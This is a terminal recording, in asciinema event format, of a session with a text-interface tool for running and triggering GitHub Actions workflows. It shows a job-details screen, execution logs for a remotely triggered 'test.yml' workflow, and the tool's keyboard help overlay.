[8.227104, "o", "───────────────────────────╮ \u001b[53;1H │\u001b[38;5;4mStarted: \u001b[38;5;15m2025-04-21 19:10:30\u001b[53;244H\u001b[39m│ \u001b[54;1H │\u001b[38;5;4mFinished: \u001b[38;5;15m2025-04-21 19:10:30\u001b[54;244H\u001b[39m│ \u001b[55;1H │\u001b[38;5;4mDuration: \u001b[38;5;15m0m 0s\u001b[55;244H\u001b[39m│ \u001b[56;1H │\u001b[56;244H│ \u001b[57;1H │\u001b[38;5;8mPress \u001b[38;5;3mEnter\u001b[38;5;8m to view job details\u001b[57;244H\u001b[39m│ \u001b[58;1H ╰────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[8.227143, "o", "─────────────────────────────────────────╯ \u001b[59;1H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.284254, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.341681, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.39925, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.45676, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.513899, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.57102, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.628343, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.68543, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.743174, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.800302, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.857673, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.914838, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[8.971945, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.029062, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.086125, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.143465, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.200603, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.25805, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.315261, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.372999, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.430305, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.48741, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.523097, "o", "\u001b[5;4H\u001b[38;5;3mJ\u001b[5;6Hb Details (1/1) \u001b[39m───\u001b[6;3H\u001b[38;5;4mJ\u001b[6;5Hb: \u001b[1m\u001b[38;5;15mGitHub Trigger\u001b[8;2H\u001b[22m\u001b[39m╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[9;2H╭\u001b[38;5;3m Steps \u001b[39m────────────────────────────────────────────────"]
|
||||
[9.52315, "o", "─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\u001b[9;244H╮\u001b[10;2H│\u001b[1m \u001b[38;5;3mStatus \u001b[39m \u001b[38;5;3mStep Name \u001b[39m \u001b[38;5;3mDuration \u001b[39m \u001b[22m│\u001b[11;3H\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[11;7H \u001b[39m Remote Trigger "]
|
||||
[9.523235, "o", " \u001b[38;5;8m1s \u001b[39m \u001b[15;2H\u001b[49m╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[16;2H╭\u001b[38;5;3m Output \u001b[39m────────────────────────────────────"]
|
||||
[9.52335, "o", "─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[17;3HWorkflow\u001b[17;12Htriggered\u001b[17;22Hsuccessfully.\u001b[17;36HView\u001b[17;41Hit\u001b[17;44Hat:\u001b[17;48Hhttps://github.com/bahdotsh/wrkflw/actions/workflows/test.yml.yml\u001b[51;2H│ │\u001b[52;2H│ "]
|
||||
[9.523382, "o", " │\u001b[53;3H \u001b[54;3H \u001b[55;3H \u001b[57;3H \u001b[60;28H\u001b[38;5;15m\u001b[48;5;8msc] Back to jobs \u001b[60;47H[↑/↓] Navigate steps \u001b[39m \u001b[38;5;15m [Tab] Switch tabs \u001b[60;89H[?] Help \u001b[60;99H[q] Quit \u001b[39m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.579773, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.636658, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.693864, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.750925, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.808046, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.865092, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.922101, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[9.979711, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.036775, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.093809, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.15092, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.20792, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.265328, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.322396, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.379427, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.436548, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.493746, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.550821, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.607825, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.6649, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.721977, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.779025, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.836053, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.893135, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[10.950177, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.007504, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.064998, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.122049, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.179152, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.236286, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.293402, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.350556, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.408036, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.465417, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.52246, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.579909, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.636989, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.694033, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.751286, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.80837, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.865429, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.922418, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[11.979946, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.037081, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.093926, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.150962, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.208083, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.265151, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.32277, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.380285, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.437326, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.49446, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.551512, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.608585, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.665666, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.722857, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.779897, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.837049, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.893945, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[12.951074, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.008131, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.065339, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.122226, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.179266, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.236424, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.293491, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.350615, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.407713, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.464724, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.521727, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.578784, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.635791, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.692863, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.749998, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.807107, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.864189, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.872324, "o", "\u001b[2;15H\u001b[38;5;15mE\u001b[4m\u001b[38;5;3mx\u001b[24m\u001b[38;5;15mecution\u001b[2;27H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mL\u001b[24mogs\u001b[5;3H\u001b[22m\u001b[39m\u001b[49m───────────────────\u001b[6;3H \u001b[6;111H\u001b[1m\u001b[38;5;3mExecution and System Logs\u001b[7;2H\u001b[22m\u001b[39m╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[8;2H╭\u001b[38;5;3m Search & Filter"]
|
||||
[13.872439, "o", " \u001b[8;244H\u001b[39m╮\u001b[9;2H│Search: \u001b[38;5;7mFilter: ALL\u001b[39m │\u001b[10;2H╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[11"]
|
||||
[13.872527, "o", ";2H╭\u001b[38;5;3m Logs (1/11) \u001b[39m────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[12;3H\u001b[1m\u001b[38;5;3mTime \u001b[39m \u001b[38;5;3mType \u001b[39m \u001b[38;5;3mMessage \u001b[39m \u001b[13;3H\u001b[2"]
|
||||
[13.872607, "o", "2m\u001b[48;5;8m19:10:30 \u001b[38;5;5mTRIG \u001b[39m Triggering workflow: test.yml \u001b[14;3H\u001b[49m19:10:30\u001b[14;14H\u001b[38;5;2mSUCCESS\u001b[14;22H\u001b[39mWorkflow\u001b[14;31H'test.yml'\u001b[14;42Hcompleted\u001b[14;52Hsuccessfully!\u001b[15;2H│19:10:30 \u001b[38;5;7mINFO \u001b[39m All workflows completed execution │\u001b[16;2H│19:10:26 \u001b[38;5;6mINFO \u001b[39m 🔍\u001b[16;24H Docker daemon is running but ping failed. Docker may not be properly configured. │\u001b[17;3H19:10:26\u001b[17;12H \u001b[38;5;3mWARN \u001b[17;22H\u001b[39m⚠️\u001b[17;24H Docker is not avail\u001b["]
|
||||
[13.872629, "o", "17;45Hble. Using emulation mode in\u001b[17;74Htead. \u001b[18;3H19:10:30\u001b[18;14H\u001b[38;5;5mTRIG \u001b[18;22H\u001b[39mℹ️\u001b[18;25HTriggering\u001b[18;36Hworkflow:\u001b[18;46Htest.yml\u001b[19;3H19:10:30\u001b[19;14H\u001b[38;5;7mINFO \u001b[19;22H\u001b[39mℹ️\u001b[19;25HGITHUB_TOKEN\u001b[19;38His\u001b[19;41Hset:\u001b[19;46Hgithu\u001b[20;3H19:10:30\u001b[20;14H\u001b[38;5;5mTRIG \u001b[20;22H\u001b[39mℹ️\u001b[20;25HTriggering\u001b[20;36Hworkflow\u001b[20;45Hwith\u001b[20;50HURL:\u001b[20;55Hhttps://api.github.com/repos/bahdotsh/wrkflw/actions/workflows/test.yml/dispatches\u001b[20;138Hand\u001b[20;142Hpayload:\u001b[20;151H{\"ref\":\"main\"}\u001b[21;3H19:10:30\u001b[21;14H\u001b[38;5;7mINFO \u001b[21;22H\u001b[39mℹ️\u001b[21;25HCurl\u001b[21;30Hcommand\u001b[21;38Hsucceeded:\u001b[22;3H19:10:30\u001b[22;14H\u001b[38;5;2mSUCCESS\u001b[22;22H\u001b[39mℹ️\u001b[22;25H[19:10:30]\u001b[22;36HWorkflow\u001b[22;45H'test.yml'\u001b[22;56Hcompleted\u001b[22;66Hsuccessfully!\u001b[23;3H19:10:30\u001b[23;14H\u001b[38;5;7mINFO \u001b[23;22H\u001b[39mℹ️\u001b[23;25HAll\u001b[23;29Hworkflows\u001b[23;39Hcompleted\u001b[23;49Hexecution\u001b[60;27H\u001b[38;5;15m\u001b[48;5;8m↑/↓\u001b[60;32HScroll logs (1/11) [s] Search\u001b[60;62H[f] Filter \u001b["]
|
||||
[13.872662, "o", "39m \u001b[38;5;15m [Tab] Switch\u001b[60;88Htabs\u001b[60;93H [?]\u001b[60;98HHelp\u001b[60;103H [q]\u001b[60;108HQuit \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.929856, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[13.987178, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.044616, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.102126, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.15978, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.217493, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.223862, "o", "\u001b[2;27H\u001b[4m\u001b[38;5;3mL\u001b[24m\u001b[38;5;15mogs\u001b[2;34H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mH\u001b[24melp\u001b[4;1H\u001b[22m\u001b[39m\u001b[49m╭\u001b[38;5;3m Help \u001b[39m─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[5;1H│\u001b[1m\u001b[38;5;6mKeyboard Controls\u001b[22m\u001b[39m "]
|
||||
[14.223942, "o", " │\u001b[6;1H│ \u001b[6;111H \u001b[6;244H │\u001b[7;1H│\u001b[1m\u001b[38;5;3mTab\u001b[22m\u001b[39m - Switch between tabs │\u001b[8;1H│\u001b[1m\u001b[38;5;3m1-4\u001b[22m\u001b[39m - Switch directly to tab │\u001b[9;1H│\u001b[1m\u001b[38;5;3mUp/Down or j/k\u001b[22m\u001b[39m - Navigate\u001b[9;28Hlogs\u001b[9;33Hor\u001b[9;36Hsearch\u001b[9;43Hmatches\u001b[9;244H │\u001b[10;1H│\u001b[38;5;15m\u001b[48;5;8mSelected line\u001b[39m\u001b[49m - Current scroll position or search match "]
|
||||
[14.224027, "o", " │\u001b[11;1H│\u001b[1m\u001b[38;5;3mSpace\u001b[22m\u001b[39m - Toggle workflow selection │\u001b[12;1H│\u001b[1m\u001b[38;5;3mEnter\u001b[22m\u001b[39m - Run selected workflow / View job details │\u001b[13;1H│\u001b[1m\u001b[38;5;3mr\u001b[22m\u001b[39m - Run all selected workflows │\u001b[14;1H│\u001b[1m\u001b[38;5;3ma\u001b[22m\u001b[39m - Select\u001b[14;13Hall workfl\u001b[14;24Hws \u001b[14;31H \u001b[14;42H "]
|
||||
[14.224094, "o", " \u001b[14;52H \u001b[14;244H │\u001b[15;1H│\u001b[1m\u001b[38;5;3me\u001b[22m\u001b[39m - Toggle\u001b[15;13Hbetween Docker and Emulation mo\u001b[15;45He \u001b[15;244H │\u001b[16;1H│\u001b[1m\u001b[38;5;3mv\u001b[22m\u001b[39m - Toggle\u001b[16;13Hbetween Execution and Validatio\u001b[16;45H mode \u001b[16;54H \u001b[16;59H \u001b[16;67H \u001b[16;74H \u001b[16;78H \u001b[16;82H \u001b[16;85H \u001b[16;94H \u001b[16;244H │\u001b[17;1H│\u001b[1m\u001b[38;5;3mn\u001b[22m\u001b[39m - Deselect all workflows \u001b[17;32H \u001b[17;35H \u001b[17;39H \u001b[17;50H \u001b[17;56H \u001b[17;66H \u001b[17;71H \u001b[17;244H │\u001b[18;1H│\u001b[1m\u001b[38;5;3mShift+R\u001b[22m\u001b[39m -\u001b[18;12HReset workflow status to allow re-\u001b[18;47Hriggering\u001b[18;244H │\u001b[19;1H│\u001b[1m\u001b[38;5;3mEsc\u001b[22m\u001b[39m - Back\u001b[19;13H/ Exit detailed view \u001b[19;38H \u001b[19;41H \u001b[19;46H \u001b[19;244H │\u001b[20;1H│\u001b[1m\u001b[38;5;3m?\u001b[22m\u001b[39m - Toggle\u001b[20;13Hhelp overlay \u001b[20;36H \u001b[20;45H \u001b[20;50H \u001b[20;55H \u001b[20;138H \u001b[20;142H \u001b[20;151H "]
|
||||
[14.224149, "o", " \u001b[20;244H │\u001b[21;1H│\u001b[1m\u001b[38;5;3mq\u001b[22m\u001b[39m - Quit application \u001b[21;25H \u001b[21;30H \u001b[21;38H \u001b[21;244H │\u001b[22;1H│\u001b[1m\u001b[38;5;3mt\u001b[22m\u001b[39m - Trigger\u001b[22;14Hselected workflow \u001b[22;36H \u001b[22;45H \u001b[22;56H \u001b[22;66H \u001b[22;244H │\u001b[23;1H│ \u001b[23;14H \u001b[23;22H \u001b[23;25H \u001b[23;29H \u001b[23;39H \u001b[23;49H \u001b[23;244H │\u001b[24;1H│\u001b[1m\u001b[38;5;6mRuntime Modes\u001b[24;244H\u001b[22m\u001b[39m │\u001b[25;1H│ \u001b[25;244H │\u001b[26;1H│\u001b[1m\u001b[38;5;4mDocker\u001b[26;9H\u001b[22m\u001b[39m-\u001b[26;11HUses\u001b[26;16HDocker\u001b[26;23Hto\u001b[26;26Hrun\u001b[26;30Hworkflows\u001b[26;40H(default)\u001b[26;244H │\u001b[27;1H│\u001b[1m\u001b[38;5;5mEmulation\u001b[27;12H\u001b[22m\u001b[39m-\u001b[27;14HEmulates\u001b[27;23HGitHub\u001b[27;30HActions\u001b[27;38Henvironment\u001b[27;50Hlocally\u001b[27;58H(no\u001b[27;62HDocker\u001b[27;69Hrequired)\u001b[27;244H │\u001b[28;1H│ \u001b[28;244H │\u001b[29;1H│\u001b[1m\u001b[38;5;6mLogs Tab\u001b[29;244H\u001b[22m\u001b[39m │\u001b[30;1H│ \u001b[30;244H │\u001b[31;1H│\u001b[1m\u001b[38;5;3mUp/Down or j/k\u001b[31;17H\u001b[22m\u001b[39m-\u001b[31;19HScroll\u001b[31;26Hthrough\u001b[31;34Hlogs\u001b["]
|
||||
[14.224196, "o", "31;244H │\u001b[32;1H│\u001b[38;5;15m\u001b[48;5;8mSelected line\u001b[32;16H\u001b[39m\u001b[49m-\u001b[32;18HCurrent\u001b[32;26Hscroll\u001b[32;33Hposition\u001b[32;244H │\u001b[33;1H│\u001b[38;5;3mTab\u001b[33;6H\u001b[39m-\u001b[33;8HNavigate\u001b[33;17Hbetween\u001b[33;25Htabs\u001b[33;244H │\u001b[34;1H│\u001b[38;5;3ms\u001b[34;4H\u001b[39m-\u001b[34;6HSearch\u001b[34;13Hlogs\u001b[34;18H(in\u001b[34;22HLogs\u001b[34;27Htab)\u001b[34;244H │\u001b[35;1H│\u001b[38;5;3mf\u001b[35;4H\u001b[39m-\u001b[35;6HToggle\u001b[35;13Hlog\u001b[35;17Hfilter\u001b[35;24H(in\u001b[35;28HLogs\u001b[35;33Htab)\u001b[35;244H │\u001b[36;1H│\u001b[38;5;3mc\u001b[36;4H\u001b[39m-\u001b[36;6HClear\u001b[36;12Hlog\u001b[36;16Hsearch/filter\u001b[36;30H(in\u001b[36;34HLogs\u001b[36;39Htab)\u001b[36;244H │\u001b[37;1H│\u001b[38;5;3m↑/↓\u001b[37;6H\u001b[39m-\u001b[37;8HNavigate\u001b[37;17Hbetween\u001b[37;25Hlogs\u001b[37;30Hor\u001b[37;33Hsearch\u001b[37;40Hmatches\u001b[37;48H(in\u001b[37;52HLogs\u001b[37;57Htab)\u001b[37;244H │\u001b[38;1H│ \u001b[38;244H │\u001b[39;1H│ \u001b[39;244H │\u001b[40;1H│ \u001b[40;244H │\u001b[41;1H│ \u001b[41;244H │\u001b[42;1H│ \u001b[42;244H │\u001b[43;1H│ \u001b[43;244H │\u001b[44;1H│ \u001b[44;244H │\u001b[45;1H│ \u001b[45;244H │\u001b[46;1H│ \u001b[46;244H │\u001b[47;1H│ \u001b[47;244H │\u001b[48;1H│ \u001b[48;244H │\u001b[49;1H│ \u001b[49;244H "]
|
||||
[14.224244, "o", "│\u001b[50;1H│ \u001b[50;244H │\u001b[51;1H│ \u001b[51;244H │\u001b[52;1H│ \u001b[52;244H │\u001b[53;1H│ \u001b[53;244H │\u001b[54;1H│ \u001b[54;244H │\u001b[55;1H│ \u001b[55;244H │\u001b[56;1H│ \u001b[56;244H │\u001b[57;1H│ \u001b[57;244H │\u001b[58;1H│ │\u001b[59;1H╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[14.224319, "o", "────────────────────────────────────────────────────────╯\u001b[60;27H\u001b[38;5;15m\u001b[48;5;8m?] Toggle he\u001b[60;40Hp overlay \u001b[39m \u001b[38;5;15m [Tab] Switch tabs [?]\u001b[60;75HHelp \u001b[60;81H[q] Qui\u001b[60;89H \u001b[39m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.281312, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.338731, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.396328, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.454394, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.511534, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.569391, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.627171, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.684538, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.742152, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.800248, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.858284, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.91618, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[14.97428, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.032448, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.038725, "o", "\u001b[2;3H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mW\u001b[24morkflows\u001b[2;34H\u001b[22m\u001b[4m\u001b[49mH\u001b[24m\u001b[38;5;15melp\u001b[4;1H\u001b[39m \u001b[5;1H ╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[15.038814, "o", "─────────────────╮ \u001b[6;1H │\u001b[6;114H\u001b[1m\u001b[38;5;3mAvailable Workflows\u001b[6;244H\u001b[22m\u001b[39m│ \u001b[7;1H ╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ \u001b[8;1H ╭\u001b[38;5;3m Workflows \u001b[39m─────────────────────────────────────────"]
|
||||
[15.038905, "o", "─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ \u001b[9;1H │\u001b[1m \u001b[38;5;3m \u001b[39m \u001b[38;5;3mStat\u001b[39m \u001b[38;5;3mWorkflow Name \u001b[39m \u001b[38;5;3mPath \u001b[39m \u001b[22m│ \u001b[10;1H │ \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m build.yml \u001b[10;26H \u001b[10;33H \u001b[10;42H \u001b[10;45H \u001b[10;52H \u001b["]
|
||||
